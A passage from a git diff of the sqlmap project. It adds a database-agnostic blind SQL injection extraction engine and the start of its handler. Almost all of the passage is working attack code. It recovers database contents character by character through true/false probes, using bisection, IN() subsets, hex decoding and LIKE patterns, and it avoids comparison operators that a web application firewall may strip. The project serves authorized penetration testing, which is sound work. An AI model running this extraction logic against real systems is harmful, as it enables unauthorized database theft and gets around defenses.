self._measureLengthSub(expr, ceiling) + lexpr = self._len(expr) + if not self._numDefined(lexpr): + return None, False + if self._ask("%s=0" % lexpr): + return 0, False + if ceiling < 1: # non-empty value but capped to nothing (maxlen=0) + return 0, True + try: + n = self._readNum(lexpr, 1, ceiling) + except NumericOutOfRange: # length exceeds the cap -> truncated, not a small value + return ceiling, True + return n, False # _readNum PROVED n<=ceiling (raises above), so exact-at-cap + # is COMPLETE, not truncated - overflow is the exception above + + def valueLength(self, expr): + length, truncated = self._measureLength(expr) + self._lastTruncated = truncated + return length + + def _literalVariants(self, value): + # spellings to try for exact char verification; SQL Server & others need an + # N'...' prefix to preserve non-ASCII, cheap vs accepting a wrong candidate + yield self._lit(value) + if any(ord(c) > 127 for c in value): + yield "N%s" % self._lit(value) + + def _exactCharEquals(self, expr, value): + return any(self._exactEquals(expr, lit) for lit in self._literalVariants(value)) + + def _lit(self, ch): + # double single quotes always; also double backslashes on engines that treat + # '\' as an escape char (MySQL/MariaDB default), else '\' + "'" would break + # the literal and silently corrupt the probe + if self._backslashEscape is None: + self._backslashEscape = (self.dialect.length is not None + and self._ask("%s=1" % self._len("'\\\\'"))) + s = ch.replace("\\", "\\\\") if self._backslashEscape else ch + return _native("'%s'" % s.replace("'", "''")) + + def _bisectCharset(self, greater): + # greater(c) -> is the source char strictly greater than charset char c? + cs = _PRINTABLE_SORTED + lo, hi = 0, len(cs) - 1 + while lo < hi: + mid = (lo + hi) // 2 + if greater(cs[mid]): + lo = mid + 1 + else: + hi = mid + return cs[lo] + + def _gtNum(self, expr, n, high): + # "is `expr` > n?" via the discovered comparator (high = current upper bound). + # BETWEEN expresses the same range test without the '>'/'<' a WAF may strip. + if self._comparator == "between": + return self._ask("%s BETWEEN %d AND %d" % (expr, n + 1, high)) + if self._cmpTemplate is not None: # any operator-free ordered rung (sign/abs/least/nullif/...) + return self._ask(self._cmpTemplate.format(expr=expr, n=n)) + return self._ask("%s>%d" % (expr, n)) + + def _numDefined(self, expr): + # value is a defined (non-NULL) number - validity gate that needs no '>' + return self._ask("(%s) IS NOT NULL" % expr) + + def _readNum(self, expr, lo, hi): + """Bounded numeric read in [lo, hi]. PROVES the value lies in range before + bisecting - a bounded search must never invent an in-range boundary ('>' + saturates to `hi`, BETWEEN converges to a wrong SMALL value) - so an + out-of-range value raises NumericOutOfRange for the caller to classify + (length -> truncated, integer -> overflow) instead of returning wrong data.""" + if self._comparator == "membership": + if self._inOk: + window = 128 + base = lo + while base <= hi: + win = list(range(base, min(base + window, hi + 1))) + if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in win))): + while len(win) > 1: + half = win[:len(win) // 2] + if self._ask("%s IN (%s)" % (expr, ",".join(str(v) for v in half))): + win = half + else: + win = win[len(win) // 2:] + return win[0] + base += window + raise NumericOutOfRange("%s not in [%d,%d]" % (expr, lo, hi)) + for v in range(lo, hi + 1): # no ordered op and no IN: '=' scan + if self._ask("%s=%d" % (expr, v)): + return v + raise NumericOutOfRange("%s not in [%d,%d]" % (expr, lo, hi)) + # ordered comparators (gt / between / operator-free rung): prove range first + if self._comparator == "between": + if not self._ask("%s BETWEEN %d AND %d" % (expr, lo, hi)): + raise NumericOutOfRange("%s not in [%d,%d]" % (expr, lo, hi)) + else: # gt or operator-free rung ('>' semantics) + if self._gtNum(expr, hi, hi): + raise NumericOutOfRange("%s > %d" % (expr, hi)) + if not self._gtNum(expr, lo - 1, hi): # expr <= lo-1 -> below range (any sign of lo) + raise NumericOutOfRange("%s < %d" % (expr, lo)) + low, high = lo, min(max(lo, 8), hi) # exponential climb keeps small values cheap + while high < hi and self._gtNum(expr, high, hi): + low, high = high + 1, min(high * 2, hi) + while low < high: + mid = (low + high) // 2 + if self._gtNum(expr, mid, hi): + low = mid + 1 + else: + high = mid + return low + + def _bisectCodes(self, code, codes): + # ordered bisection over a sorted code list (restricted alphabet) + lo, hi = 0, len(codes) - 1 + top = codes[hi] + while lo < hi: + mid = (lo + hi) // 2 + if self._gtNum(code, codes[mid], top): + lo = mid + 1 + else: + hi = mid + return codes[lo] + + def _bisectCodeRange(self, code): + # general dynamic-range bisection - a real code-point fn can far exceed 255, + # so find the tight upper bound first, then bisect + high = _UNICODE_MAX + for cap in (127, 255, 0xFFFF, _UNICODE_MAX): + if not self._gtNum(code, cap, _UNICODE_MAX): + high = cap + break + low = 0 + while low < high: + mid = (low + high) // 2 + if self._gtNum(code, mid, high): + low = mid + 1 + else: + high = mid + return low + + def _pickCode(self, code, codes): + # order-free code selection when there's no ordered comparator: IN() subset + # bisection if available, else a plain '=' scan (last resort, no '<>' needed) + if self._inOk: + return self._membershipCode(code, codes) + for c in codes: + if self._ask("%s=%d" % (code, c)): + return c + return None + + def _membershipCode(self, code, codes): + # ORDER-FREE subset bisection: split the candidate code list in half and test + # `code IN (half)` - needs only '='/IN, so it survives blocked '>'/'<'/BETWEEN + # and collation quirks. ~log2(n) probes. Returns the matched code, or None + # when the char is outside `codes` (caller escalates to hex / marks it). + if not self._inOk or not self._ask("%s IN (%s)" % (code, ",".join(str(c) for c in codes))): + return None + cand = list(codes) + while len(cand) > 1: + half = cand[:len(cand) // 2] + if self._ask("%s IN (%s)" % (code, ",".join(str(c) for c in half))): + cand = half + else: + cand = cand[len(cand) // 2:] + return cand[0] + + def _membershipLit(self, one, chars): + # order-free subset bisection over char LITERALS (no code fn, no ordering) - + # `chars` is frequency-ordered so the common half resolves first + if not self._inOk or not self._ask("%s IN (%s)" % (one, ",".join(self._lit(c) for c in chars))): + return None + cand = list(chars) + while len(cand) > 1: + half = cand[:len(cand) // 2] + if self._ask("%s IN (%s)" % (one, ",".join(self._lit(c) for c in half))): + cand = half + else: + cand = cand[len(cand) // 2:] + return cand[0] + + def _ensureHexfn(self): + # a hex fn may not have been discovered (code/collation mode won the ladder + # before hex was tried); probe for one on demand so escalation can recover + # bytes exactly. probes at most once. + if self.dialect.hexfn is None and not self._hexProbed: + self._hexProbed = True + with self._probePhase(): # wrong rungs (e.g. HEX() on PostgreSQL) error -> "unusable", not undecided + for name, tmpl in _HEXFN: + enc = self._hexEncoding(tmpl) + if enc is not None: # '' = usable, codec unknown (auto-detect) + self.dialect.hexfn = Cap(name, tmpl, encoding=(enc or None)) + break + return self.dialect.hexfn + + def _hexEncoding(self, tmpl): + # if `tmpl` hex-encodes a char, return the codec that decodes it (utf-8 / + # utf-16-be / utf-16-le), else None. 'q'(0x71) must map to that codec's form + # AND track the char (a DIFFERENT value for 'p'), so a constant can't match. + hq = tmpl.format(expr=self._sub("'sqlmap'", 2, 1)) # 'q' + hp = tmpl.format(expr=self._sub("'sqlmap'", 6, 1)) # 'p' + cf = self._codeCharTmpl() + for form, enc in _HEX_Q_ENCODINGS: + if not (self._ask("%s='%s'" % (hq, form)) and not self._ask("%s='%s'" % (hp, form))): + continue + # BYTE length-preservation, via the INDEPENDENT length fn (not the hex fn certifying + # itself). A LONG probe is required: a short sample passes any large-enough fixed cap, + # so an 8/64/255-byte-capped hex fn would slip through. No usable length measure -> + # do NOT certify whole-value hex output. + bpc = 2 if "16" in enc else 1 + probe = "A" * 256 + if not self._lenEquals(tmpl.format(expr="'%s'" % probe), len(probe) * bpc * 2): + continue + # PROVE the codec on a NON-ASCII char (EUR 0x20AC): 'q'->'71' is ASCII-compatible in + # MANY encodings (CP1252/Latin-1/Shift-JIS/GBK/...), NOT just UTF-8, so the 'q' match + # alone can't certify UTF-8. Confirm with EUR; if it can't be proven the codec is + # UNKNOWN ('' -> decode auto-detects) - the bytes are still FAITHFUL (length probe + # passed), so the hex fn stays USABLE; it is NOT rejected (that would drop to a + # byte-based mode that mangles multibyte). None means only 'no working hex fn'. + if cf: + eur = tmpl.format(expr=cf.format(code=0x20AC)) + want = {"utf-8": "e282ac", "utf-16-be": "20ac", "utf-16-le": "ac20"}.get(enc) + if want and self._ask("LOWER(%s)='%s'" % (eur, want)): + return enc + return "" # ASCII-compatible, codec unproven: usable, auto-detect decode + return "" # no char-from-code fn to PROVE the codec: '71'->q is ASCII- + # compatible in many charsets (CP1252/Latin-1/SJIS/...), so it + # is UNKNOWN, not UTF-8 - usable for bytes, not authoritative text + return None + + def _escalate(self, one, pos): + # candidate did not verify -> char is outside the searched alphabet. + # recover its exact bytes via hex if available; otherwise mark it (never + # silently substitute a space/'~' or delete it) + if self._ensureHexfn(): + ch = self._readHexChar(one) + if ch and ch != _REPL: + return ch + self.dialect.notes.append("char at position %d outside extraction alphabet - marked" % pos) + return _REPL + + def _readChar(self, expr, pos, codes=None): + one = self._sub(expr, pos, 1) + mode = self.dialect.compare + + if mode == "code": + code = self.dialect.charcode[1].format(expr=one) + ordered = self._comparator != "membership" # gt/between OR an operator-free rung (all bisect via _gtNum) + if codes is not None: + # restricted-alphabet (e.g. the hex-framed dump payload): a small ASCII + # set. no per-char verify - ASCII codes are unambiguous across charcode + # semantics and extractResult whole-value verifies. + low = self._bisectCodes(code, codes) if ordered else self._pickCode(code, codes) + return _unichr(low) if low is not None else self._escalate(one, pos) + if ordered: + low = self._bisectCodeRange(code) + else: + # no ordered operator: order-free IN() over the printable set (or a '=' + # scan if IN is gone too); anything outside it escalates to hex / marks + low = self._pickCode(code, [ord(c) for c in _PRINTABLE_SORTED]) + if low is None: + return self._escalate(one, pos) + if 0xD800 <= low <= 0xDFFF: + # a UTF-16 code-unit fn (SQL Server UNICODE under a non-SC collation) + # can return an isolated surrogate - not a scalar; recover via bytes + return self._escalate(one, pos) + try: + ch = _unichr(low) # low==0 is a valid NUL char, not "empty" + except ValueError: + return self._escalate(one, pos) + # a lossy code fn can return a codepage byte, a UTF-8 lead byte, or even + # '?' (63) for an unrepresentable char - the old low>127-only check + # silently accepted the last as a literal '?'. only a *proven* code-point + # fn is trusted outright; everything else must round-trip-verify. + if self.dialect.charcode.get("semantics") != "codepoint" and \ + not self._exactCharEquals(one, ch): + return self._escalate(one, pos) + return ch + + if mode == "hex": + if self.dialect.hexfn is None: + return self._escalate(one, pos) + return self._readHexChar(one) + + if mode == "collation": + if self.dialect.binwrap is None: + return self._escalate(one, pos) + w = self.dialect.binwrap[1] + cand = self._bisectCharset(lambda c: self._ask("%s>%s" % (w.format(x=one), w.format(x=self._lit(c))))) + if self._ask("%s=%s" % (w.format(x=one), w.format(x=self._lit(cand)))): + return cand + return self._escalate(one, pos) + + if mode == "ordinal": + cand = self._bisectCharset(lambda c: self._ask("%s>%s" % (one, self._lit(c)))) + if self._ask("%s=%s" % (one, self._lit(cand))): + return cand + return self._escalate(one, pos) + + # equality / equality-ci: order-free IN() subset bisection (frequency-ordered, + # ~log2(n) probes) when IN is usable, else the linear frequency scan + if self._inOk: + ch = self._membershipLit(one, _FREQ_ORDER) + return ch if ch is not None else self._escalate(one, pos) + for ch in _FREQ_ORDER: + if self._ask("%s=%s" % (one, self._lit(ch))): + return ch + return self._escalate(one, pos) + + def _readHexChar(self, one): + # read the uppercase-hex byte string of a single source char, digit by + # digit over [0-9A-F] (case-safe), then pick the encoding by exact round-trip + # against the source (decoder order alone is endian-ambiguous: 00 41 is both + # UTF-16BE 'A' and UTF-16LE U+4100). + hexpr = self.dialect.hexfn[1].format(expr=one) + hlen, htrunc = self._measureLength(hexpr, ceiling=_MAX_HEX_CHAR_NIBBLES) + if htrunc or not hlen or hlen % 2 or hlen > _MAX_HEX_CHAR_NIBBLES: + return _REPL + # bisect each nibble over [0-9A-F] when hex ordering is reliable (~4 asks + # vs up to 16); fall back to an equality scan otherwise + if self._hexOrdered is None: + self._hexOrdered = (self._ask("'A'>'9'") and self._ask("'F'>'A'") and self._ask("'1'>'0'")) + digits = "" + for k in range(1, hlen + 1): + nib = self._sub(hexpr, k, 1) + if self._hexOrdered: + lo, hi = 0, len(_HEXDIGITS) - 1 + while lo < hi: + mid = (lo + hi) // 2 + if self._ask("%s>'%s'" % (nib, _HEXDIGITS[mid])): + lo = mid + 1 + else: + hi = mid + # verify: if nib isn't actually this hex digit (WAF/glitch), bail + if not self._ask("%s='%s'" % (nib, _HEXDIGITS[lo])): + return _REPL + digits += _HEXDIGITS[lo] + else: + for hd in _HEXDIGITS: + if self._ask("%s='%s'" % (nib, hd)): + digits += hd + break + else: + return _REPL + try: + raw = _unhexlify(digits) + except (TypeError, ValueError, binascii.Error, UnicodeError): + return _REPL + # generate every single-scalar candidate and pick the one that round-trips + # against the source char (resolves the endian ambiguity), preferring the + # interleaved-NUL-signalled endianness order first + order = [] + if len(raw) >= 2 and raw[0:1] == b"\x00" and raw[1:2] != b"\x00": + order += ["utf-16-be", "utf-32-be"] + if len(raw) >= 2 and raw[1:2] == b"\x00" and raw[0:1] != b"\x00": + order += ["utf-16-le", "utf-32-le"] + # UTF first (near-universal), then legacy single/multibyte charsets a non-Unicode + # backend may hex; each is TRIED only when it round-trips against the source char + # (see _exactCharEquals below), so adding codecs can only recover MORE, never + # mis-decode. latin-1 stays last (it accepts any single byte). + order += ["utf-8", "utf-16-le", "utf-16-be", "utf-32-le", "utf-32-be", + "cp1252", "cp1251", "gbk", "shift_jis", "euc-kr", "big5", "latin-1"] + seen = set() + for enc in order: + try: + dec = raw.decode(enc) + except (UnicodeDecodeError, ValueError): + continue + if dec in seen or not _isSingleUnicodeScalar(dec): + continue + seen.add(dec) + if self._exactCharEquals(one, dec): + return dec + return _REPL + + def _textable(self, expr): + # extraction needs BOTH length and substring to work; length may implicitly + # cast where substring won't (MSSQL CONCAT(int,..) vs SUBSTRING(int,..)), + # so the substring primitive must be probed too. with no length fn, the + # substring probe alone is the textability test. + length_ok = self.dialect.length is None or self._numDefined(self._len(expr)) + return length_ok and self._ask("%s IS NOT NULL" % self._sub(expr, 1, 1)) + + def _resolveText(self, expr): + # if the expression isn't directly substringable (e.g. a numeric/date column on a + # strict engine, or PG's `tid`/ctid which has no LENGTH), wrap it in the discovered + # text cast. probe-safe: an ERRORING length/substring probe here (LENGTH(tid) does + # not exist) means "not directly textable" -> fall through to the cast, never fatal. + with self._probePhase(): + if self._textable(expr): + return expr + if self.dialect.textcast is not None: + casted = self.dialect.textcast[1].format(expr=expr) + # use the cast when it makes a NON-NULL value textable; if the value is + # currently NULL the cast is STILL correct (LENGTH may not even exist for the + # raw type, e.g. PG tid) - returning raw there errors on LENGTH(tid) instead + # of yielding a clean is_null, so prefer the cast in the NULL case too + if self._textable(casted) or self._ask("(%s) IS NULL" % expr): + return casted + return expr + + def coalesce(self, expr, fallback="''"): + return self.dialect.coalesce[1].format(expr=expr, fallback=fallback) if self.dialect.coalesce else expr + + def _concatMany(self, parts): + if len(parts) == 1: + return parts[0] + func = self.dialect.concat.get("variadic") if self.dialect.concat else None + if func: # flat CONCAT(a,b,c,...) when variadic + return "%s(%s)" % (func, ",".join(parts)) + out = parts[0] + for p in parts[1:]: + out = self.dialect.concat[1].format(a=out, b=p) + return out + + def buildLiteral(self, value): + """Build a SQL string literal for `value`. Prefers CHAR(code)||... from the + discovered char-from-code + concat primitives (no quote-escaping pitfalls), + for ASCII values; otherwise a doubled-quote literal.""" + if value and self.dialect.charfrom and self.dialect.concat and all(0 < ord(c) < 128 for c in value): + return self._concatMany([self.dialect.charfrom[1].format(code=ord(c)) for c in value]) + return self._lit(value) + + def extract(self, expr, limit=None): + return self.extractResult(expr, limit).value + + def extractResult(self, expr, limit=None, _ceiling=None, _verify=True, codes=None): + """Structured text extraction keeping NULL / empty / truncated / failed + distinct - never conflated into one ambiguous ''/None. `codes` restricts the + char alphabet (sorted code list) for a big speedup on known-alphabet values.""" + if self.dialect.prefix is not None and self.dialect.substring is None: + return self._likeExtract(expr, limit) # MAX-CONSTRAINT pattern-match path + q0 = self._queries + expr = self._resolveText(expr) + ceiling = self.maxlen if _ceiling is None else _ceiling + length, truncated = self._measureLength(expr, ceiling=ceiling) + if length is None: + # >=0 was false: either a genuine NULL or the probe itself failed. + # PROVE `IS NULL` positively - negating a failed `IS NOT NULL` used to + # turn every invalid expression into a convincing, "complete" NULL. + is_null = self._ask("(%s) IS NULL" % expr) + return ExtractResult(None, is_null=is_null, complete=is_null, + queries=self._queries - q0, + warnings=[] if is_null else ["length probe failed"]) + if limit is not None and limit < length: + truncated = True # a bounded prefix of a longer value + length = limit + if length == 0: + value = "" + else: + chars = [] + for i in range(1, length + 1): + chars.append(self._readChar(expr, i, codes)) + self._emitChar("".join(chars), length) # live progress: user sees it working + value = "".join(chars) + warns = ["contains unresolved char"] if _REPL in value else [] + if self.dialect.compare == "equality-ci": + warns.append("lossy equality collation: case/accents ambiguous") + complete = not truncated and not _hardWarnings(warns) # soft (case/accent) keeps complete + # a length fn can stop at an embedded NUL, yielding a convincing short prefix. + # ALWAYS verify the WHOLE reconstructed value once - _exactEquals uses the + # strongest available comparator (hex > binary wrapper > plain equality); even + # plain equality catches a NUL-truncated prefix. recover via hex on mismatch. + # (_verify=False on the internal hex-string pull to avoid re-entry.) + # escalate to hex when the code/ordinal read is UNTRUSTWORTHY: a complete value that fails + # whole-value verify (NUL-truncated / wrong), OR one carrying unresolved chars (_REPL) - a + # code fn lossy for this column's type (e.g. Oracle NVARCHAR2 read in code mode) marks + # chars outside its alphabet, yet the cast+hex path recovers them cleanly. + if _verify and (_REPL in value or (complete and not self._exactEquals(expr, self._lit(value)))): + recovered = self._extractViaHex(expr, q0) + if recovered is not None: + return recovered + if complete: # verify failed and no hex recovery -> demote + complete = False + warns.append("whole-value verification failed") + # a value can be EXACT only if a BYTE-FAITHFUL witness backs it: plain SQL '=' and + # collation/ordinal ordering are collation-dependent (accent/case/width folding), so + # without a proven hex/binary witness (or code-mode codepoint reads) the recovered + # bytes are NOT provably the source's - downgrade to WHOLE_BUT_AMBIGUOUS, never EXACT. + if _verify and value and complete and not self._byteFaithful(): + warns.append("byte-exactness unproven: collation-dependent comparison, no hex/binary witness") + return ExtractResult(value, complete=complete, truncated=truncated, + queries=self._queries - q0, warnings=warns) + + def _byteFaithful(self): + # is a BYTE-EXACT primitive available to certify a recovered value? a proven hex fn or a + # binary-compare wrapper is; plain '='/collation is not. Code mode with PROVEN codepoint + # semantics reads true code points, so it is faithful on its own. + if self.dialect.hexfn is not None: + return True + if self.dialect.binwrap is not None and self.dialect.binwrap.get("byte_exact"): + return True # only a PROVEN byte-exact wrapper (accents tested) counts + return (self.dialect.compare == "code" and self.dialect.charcode is not None + and self.dialect.charcode.get("semantics") == "codepoint") + + def _extractViaHex(self, expr, q0=None): + # recover a full text value through strict hex extraction, or None + if not self._ensureHexfn(): + return None + q0 = self._queries if q0 is None else q0 + # route through the text cast, exactly as the framed dump does: a column whose STORAGE + # charset differs from the DB charset - e.g. Oracle NVARCHAR2 (UTF-16 national charset) - + # hexes to bytes the DB-charset decode garbles; casting to the DB char type first + # normalizes it (VARCHAR2 == DB charset), so the decode matches the discovered codec. + hexpr = self.dialect.textcast[1].format(expr=expr) if self.dialect.textcast else expr + res = self.extractResult(self.dialect.hexfn[1].format(expr=hexpr), + _ceiling=self.maxbytes * 2, _verify=False) + if res.is_null: + return ExtractResult(None, is_null=True, complete=True, queries=self._queries - q0) + if res.value is None or not res.complete or res.truncated or res.warnings: + return None + enc = (self.dialect.hexfn.get("encoding") if self.dialect.hexfn else None) or self.dialect.charset + # UNKNOWN codec + non-ASCII bytes: the TEXT reading is a GUESS (e.g. UTF-8 bytes with an + # embedded NUL get heuristically read as UTF-16), so it must NOT be certified exact. Bytes + # are faithful (they'd round-trip), but only a PROVEN codec makes the decoded text exact. + if enc is None: + try: + rawb = bytearray(_unhexlify(res.value)) + except (TypeError, ValueError, binascii.Error, UnicodeError): + return None + if any(b >= 0x80 for b in rawb): + return None # non-ASCII under an unproven codec -> not exact + dec = self._decodeHexToken(res.value, enc) + if dec is None: + return None + return ExtractResult(dec, complete=True, queries=self._queries - q0, + warnings=["recovered via hex after verification mismatch"]) + + def _exactEquals(self, left, right): + # whole-value equality that avoids collation/trailing-space lies + if self._ensureHexfn(): + t = self.dialect.hexfn[1] + return self._ask("(%s)=(%s)" % (t.format(expr=left), t.format(expr=right))) + if self.dialect.binwrap: + t = self.dialect.binwrap[1] + return self._ask("(%s)=(%s)" % (t.format(x=left), t.format(x=right))) + return self._ask("(%s)=(%s)" % (left, right)) + + def extractInteger(self, expr, maximum=None): + """Extract a (possibly signed) integer by range-bounded bisection - avoids + stringifying and reading digit-by-digit. EVERY numeric decision renders through + `_gtNum` (the discovered comparator: gt / BETWEEN / operator-free rung), so it + never emits a raw '>='/'<'/'>' discovery did not validate, and an operator-free + rung keeps FULL signed range (not the membership magnitude ceiling).""" + cap = maximum if maximum is not None else 1 << 62 + if not self._numDefined(expr): + return None + if self._comparator == "membership": + # no ordered comparator at all: read the non-negative magnitude (counts / + # lengths) via the bounded IN/scan window; out-of-range -> overflow. + ceil = min(cap, 1 << 16) + try: + return self._readNum(expr, 0, ceil) + except NumericOutOfRange: + raise OverflowError("integer exceeds maximum %d" % ceil) + # ordered comparator: bracket the value with `expr > n` probes then bisect the + # transition. The `high` arg to _gtNum MUST exceed any possible value (BETWEEN renders + # `expr BETWEEN n+1 AND high`; using `cap` there made every over-cap positive read as + # an empty range -> misclassified NEGATIVE, reporting "below minimum" for an above-max + # value). Use HUGE as the range ceiling everywhere; `cap` is only the overflow threshold. + HUGE = 1 << 62 + if self._gtNum(expr, -1, HUGE): # expr > -1 <=> expr >= 0 (any magnitude) + if self._gtNum(expr, cap, HUGE): # expr > cap -> ABOVE maximum + raise OverflowError("integer exceeds maximum %d" % cap) + lo, hi = -1, 1 + while hi < cap and self._gtNum(expr, hi, HUGE): + lo, hi = hi, min(hi * 2 + 1, cap) + else: # not in [0, HUGE] + # BETWEEN's sign test caps at HUGE, so a positive value ABOVE HUGE also lands here. + # distinguish it from a genuine negative before reporting a direction (a gt/operator- + # free sign test is unbounded, so its else-branch is truly negative and skips this). + if self._comparator == "between" and not self._ask("(%s) BETWEEN %d AND %d" % (expr, -HUGE, -1)): + raise OverflowError("integer magnitude exceeds representable range (+/-%d), direction unknown" % HUGE) + if not self._gtNum(expr, -cap - 1, HUGE): # expr <= -cap-1 -> BELOW minimum + raise OverflowError("integer below minimum -%d" % cap) + hi, lo = -1, -2 + while lo > -cap and not self._gtNum(expr, lo, HUGE): + hi, lo = lo, lo * 2 + lo = max(lo, -cap - 1) + # invariant: expr > lo is True, expr > hi is False -> value is the transition in (lo, hi] + while hi - lo > 1: + mid = (lo + hi) // 2 + if self._gtNum(expr, mid, HUGE): + lo = mid + else: + hi = mid + # FINAL INDEPENDENT CHECK: bisection trusts the comparator, which is only PROVEN on + # integer literals - a backend/WAF that honours '>' on literals but rewrites it (e.g. to + # '>=') for scalar-subquery / fn / arithmetic operands would converge off-by-one. Confirm + # the result with a direct equality against the ACTUAL expression; if it isn't decisively + # true the read is invalid -> fail closed (never return a silently-wrong count/length/id). + if not self._ask("(%s)=%d" % (expr, hi)): + raise OracleUndecided("integer read failed final equality check: (%s) != %d" % (expr, hi)) + return hi + + def extractBytes(self, expr): + """Extract the exact bytes of a string/blob expression via a hex function. + Byte-exact and collation-independent (the hex string is ASCII [0-9A-F], so + whatever compare mode is active reads it cleanly). Returns None if no hex + function is available on the target.""" + if not self._ensureHexfn(): + return None + # hex doubles the length; cap by maxbytes (a char can be several bytes), + # not maxlen + res = self.extractResult(self.dialect.hexfn[1].format(expr=expr), + _ceiling=self.maxbytes * 2, _verify=False) + hexstr = res.value + # STRICT: never clean corruption into believable bytes. reject a non-hex + # char, odd length, incomplete/truncated pull, or an unresolved marker. + if hexstr is None or not res.complete or res.truncated or res.warnings: + return None + if len(hexstr) % 2 or any(c not in _HEXDIGITS + _HEXDIGITS.lower() for c in hexstr): + return None + try: + raw = _unhexlify(hexstr) + except (TypeError, ValueError, binascii.Error, UnicodeError): + return None + # INDEPENDENT witness: if a byte-length fn was discovered, confirm the recovered byte + # count matches it (measured by a DIFFERENT primitive than hex) - so a capped/lossy hex + # that silently shortened the value is caught rather than passed off as "the exact bytes". + if self.dialect.bytelen is not None: + # FAIL CLOSED: once a byte-length witness is selected for certification, an undecided + # or mismatched reading means we CANNOT confirm the bytes are whole -> reject, never + # treat "couldn't verify" as "matched". + try: + expected = self.extractInteger(self.dialect.bytelen[1].format(expr=expr)) + except (OracleUndecided, OverflowError): + return None + if expected is None or expected != len(raw): + return None + return raw + + def extractText(self, expr, encoding="utf-8", errors="replace"): + """Extract bytes then decode with a caller-chosen encoding - the reliable + path when the column's charset is known (e.g. a CP1252 VARCHAR, a UTF-16 + NVARCHAR, or a binary blob). Falls back to char-by-char extract() when the + target has no hex function.""" + raw = self.extractBytes(expr) + if raw is None: + return self.extract(expr) + return raw.decode(encoding, errors) + + def _likePat(self, prefix_singles, ch, trailing, trailing_multi=False): + # build a LIKE/GLOB/SIMILAR-TO pattern literal: `single`*before + one literal char + + # `single`*after (+ a trailing multi-wildcard when the value CONTINUES past what we + # read - a truncated prefix, from limit< length or length> maxlen). Without that + # multi the pattern demands an EXACT length and can't match the longer source -> every + # char would come back unresolved. only `ch` may be special, escaped if so. + p = self.dialect.prefix + multi, single = p.get("multi"), p.get("single") + tail = single * trailing + (multi if trailing_multi else "") + body = single * prefix_singles + if p.name == "GLOB" and ch in (multi, single, "["): + return body + "[%s]" % ch + tail, "" # GLOB escapes via a char class + # SIMILAR TO shares %/_ with LIKE but also has regex metachars; LIKE has only %/_ + special = _SIMILAR_META if p.name == "SIMILAR TO" else (multi, single) + if ch in special: + return body + "\\" + ch + tail, " ESCAPE '\\'" # escape via ESCAPE '\' + return body + ch.replace("'", "''") + tail, "" + + def _likeIs(self, expr, pattern, esc): + return self._ask("(%s) %s '%s'%s" % (expr, self.dialect.prefix.name, pattern, esc)) + + def _likeExtract(self, expr, limit=None): + p = self.dialect.prefix + multi, single = p.get("multi"), p.get("single") + q0 = self._queries + # NULL vs matches-anything-nonnull + if not self._likeIs(expr, multi, ""): + is_null = self._ask("(%s) IS NULL" % expr) + return ExtractResult(None, is_null=is_null, complete=is_null, + queries=self._queries - q0, + warnings=[] if is_null else ["pattern probe failed"]) + if self._likeIs(expr, "", ""): # empty string matches only '' + return ExtractResult("", complete=True, queries=self._queries - q0) + # length from wildcards: `_`*n + `%` matches iff length >= n. find the + # largest n that still matches (keep a known-true lower bound; the exponential + # must NOT advance lo past the true region) + ge = lambda n: self._likeIs(expr, single * n + multi, "") + if self.maxlen < 1: # capped to nothing: non-empty but unread + return ExtractResult("", complete=False, truncated=True, + queries=self._queries - q0, + warnings=["maxlen<1: value not read"]) + hi = 1 + while hi < self.maxlen and ge(hi): + hi = min(hi * 2, self.maxlen) + lo = 1 # ge(1) is true (non-empty) + while lo < hi: + mid = (lo + hi + 1) // 2 + lo, hi = (mid, hi) if ge(mid) else (lo, mid - 1) + length = lo + # truncated ONLY if a char exists past the cap (ge(maxlen+1)); an exactly-maxlen + # value is COMPLETE - the old `ge(maxlen)` test flagged every capped value truncated + truncated = length >= self.maxlen and ge(self.maxlen + 1) + if limit is not None and limit < length: + truncated, length = True, limit + out = [] + for i in range(length): + hit = None + for c in _FREQ_ORDER: + # trailing multi-wildcard when the value continues past `length` (truncated + # prefix), so the pattern matches the longer source instead of demanding exact len + pat, esc = self._likePat(i, c, length - i - 1, trailing_multi=truncated) + if self._likeIs(expr, pat, esc): + hit = c + break + out.append(hit if hit is not None else _REPL) + value = "".join(out) + warns = ["contains unresolved char"] if _REPL in value else [] + if p.get("case_insensitive"): + warns.append("LIKE is case-insensitive: letter case may be ambiguous") + return ExtractResult(value, complete=not truncated and not _hardWarnings(warns), + truncated=truncated, queries=self._queries - q0, warnings=warns) + + @staticmethod + def _decodeHexToken(token, encoding=None): + if len(token) % 2 or any(c not in _HEXDIGITS + _HEXDIGITS.lower() for c in token): + return None # strict: don't clean corruption + try: + raw = _unhexlify(token) + except (TypeError, ValueError, binascii.Error, UnicodeError): + return None + if encoding: + # a PROVEN codec is authoritative: if the bytes don't decode under it, that is a + # FAILURE (return None -> token dropped, result marked incomplete), NOT licence to + # reinterpret them as some other codec (00 D8 is an invalid UTF-16LE lone surrogate, + # but a valid UTF-16BE 'O with stroke' - guessing again would silently corrupt). + try: + return raw.decode(encoding, "strict") + except (UnicodeDecodeError, LookupError): + return None + # UNKNOWN codec + an embedded NUL is genuinely AMBIGUOUS: bytes `41 00` are valid UTF-8 + # ("A" + NUL) AND valid UTF-16LE ("A"), and no primitive lied - with no proven codec + # either reading could be right, so neither is exact. Refuse (drop the token -> the caller + # falls back to per-char extraction, which round-trips each char against the source). + if b"\x00" in raw: + return None + # no NUL and no proven codec: a best-effort DISPLAY decode (exactness of any non-ASCII + # result is gated separately - the dump downgrades non-ASCII under an unknown codec, and + # scalar hex recovery refuses to certify unknown-codec non-ASCII bytes). + for enc in ("utf-8", "latin-1"): + try: + return raw.decode(enc) + except (UnicodeDecodeError, ValueError): + continue + return raw.decode("latin-1", "replace") diff --git a/extra/esperanto/handler.py b/extra/esperanto/handler.py new file mode 100644 index 00000000000..37561fcb583 --- /dev/null +++ b/extra/esperanto/handler.py @@ -0,0 +1,293 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from .engine import Esperanto +from .records import OracleUndecided + + +def _sanitize(s): + """Escape C0/DEL/C1 control bytes in recovered DB content before it is logged - a stored + value can carry ANSI/OSC sequences that would otherwise drive or forge the sqlmap console.""" + if not isinstance(s, type(u"")): + return s + return "".join(c if (u" " <= c < u"\x7f") or c > u"\x9f" else "\\x%02x" % ord(c) for c in s) + + +def buildHandler(): + """Build the sqlmap dbmsHandler that drives enumeration through this engine when + the back-end cannot be (or should not be) fingerprinted. sqlmap-core imports are + deferred here so the engine above stays dependency-free for standalone use. + + The user still commands *what* 